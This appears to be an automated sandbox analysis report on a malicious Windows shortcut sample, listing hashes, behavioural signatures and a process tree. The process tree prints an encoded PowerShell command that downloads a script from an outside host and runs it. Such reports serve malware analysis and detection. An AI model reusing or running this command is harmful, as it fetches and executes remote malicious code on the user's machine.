Analysis
-
max time kernel
143s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
13-06-2024 06:26
Static task
static1
Behavioral task
behavioral1
Sample
a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118.lnk
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118.lnk
Resource
win10v2004-20240508-en
General
-
Target
a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118.lnk
-
Size
2KB
-
MD5
a4317e3a086cf54b28ecb4aa1ada356e
-
SHA1
7cba8664cb14c961f9c198f112846972296ff11d
-
SHA256
6fc29cd5b03a534c23de07c8312a3455b00b959ddd554567a7f71cab6ba6a1c1
-
SHA512
3e0a5c94362a350543cc54b4927db2ea0301eee2a5c0cbba6619c66a63bfe6387b3970b6ea13a6f058b0c15d7b2923552daf732806fc6a3ca97618947e5aae0b
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1164 powershell.exe 1164 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1164 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 936 wrote to memory of 1956 936 cmd.exe 90 PID 936 wrote to memory of 1956 936 cmd.exe 90 PID 1956 wrote to memory of 1164 1956 cmd.exe 91 PID 1956 wrote to memory of 1164 1956 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:936 -
C:\windows\system32\cmd.exe"C:\windows\system32\cmd.exe" /C C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -wi 1 -e KAAnACQAYwAwAD0AIgBTAHQAYQByAHQAIgA7ACQAawAxAD0AIgBCAGkAdABzACIAOwAkAG4AMgA9ACIAVAByAGEAbgBzAGYAZQByACIAOwAkAGEAMwA9ACIAUAByAG8AYwBlAHMAcwAiADsAJwB8AEkARQBYACkAOwAoACIASQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgACQAawAxACQAbgAyADsAJABjADAAJwAtACcAJABrADEAJABuADIAIABoAHQAdABwAHMAOgAvAC8AMQA1ADkAMQA1ADIAMwA3ADUAMwAuAHIAcwBjAC4AYwBkAG4ANwA3AC4AbwByAGcALwBhAC8APwBhAEgAUgAwAGMASABNADYATAB5ADgAeABOAFQAawB4AE4AVABJAHoATgB6AFUAegBMAG4ASgB6AFkAeQA1AGoAWgBHADQAMwBOAHkANQB2AGMAbQBkADgAYQAwAGQAQgBWAHcAJQAzAEQAJQAzAEQAIAB5AGYAZwBvAGQAZQBrAGIAbQBwAGkAcQBzAG8AaQBuAC4AdwBzAGYAOwAkAGMAMAAnAC0AJwAkAGEAMwAgAHkAZgBnAG8AZABlAGsAYgBtAHAAaQBxAHMAbwBpAG4ALgB3AHMAZgAiAHwASQBFAFgAKQA=2⤵
- Suspicious use of WriteProcessMemory
PID:1956 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -wi 1 -e KAAnACQAYwAwAD0AIgBTAHQAYQByAHQAIgA7ACQAawAxAD0AIgBCAGkAdABzACIAOwAkAG4AMgA9ACIAVAByAGEAbgBzAGYAZQByACIAOwAkAGEAMwA9ACIAUAByAG8AYwBlAHMAcwAiADsAJwB8AEkARQBYACkAOwAoACIASQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgACQAawAxACQAbgAyADsAJABjADAAJwAtACcAJABrADEAJABuADIAIABoAHQAdABwAHMAOgAvAC8AMQA1ADkAMQA1ADIAMwA3ADUAMwAuAHIAcwBjAC4AYwBkAG4ANwA3AC4AbwByAGcALwBhAC8APwBhAEgAUgAwAGMASABNADYATAB5ADgAeABOAFQAawB4AE4AVABJAHoATgB6AFUAegBMAG4ASgB6AFkAeQA1AGoAWgBHADQAMwBOAHkANQB2AGMAbQBkADgAYQAwAGQAQgBWAHcAJQAzAEQAJQAzAEQAIAB5AGYAZwBvAGQAZQBrAGIAbQBwAGkAcQBzAG8AaQBuAC4AdwBzAGYAOwAkAGMAMAAnAC0AJwAkAGEAMwAgAHkAZgBnAG8AZABlAGsAYgBtAHAAaQBxAHMAbwBpAG4ALgB3AHMAZgAiAHwASQBFAFgAKQA=3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1164
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4164,i,13281073920029625837,8253721632651544158,262144 --variations-seed-version --mojo-platform-channel-handle=4028 /prefetch:81⤵PID:4572
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82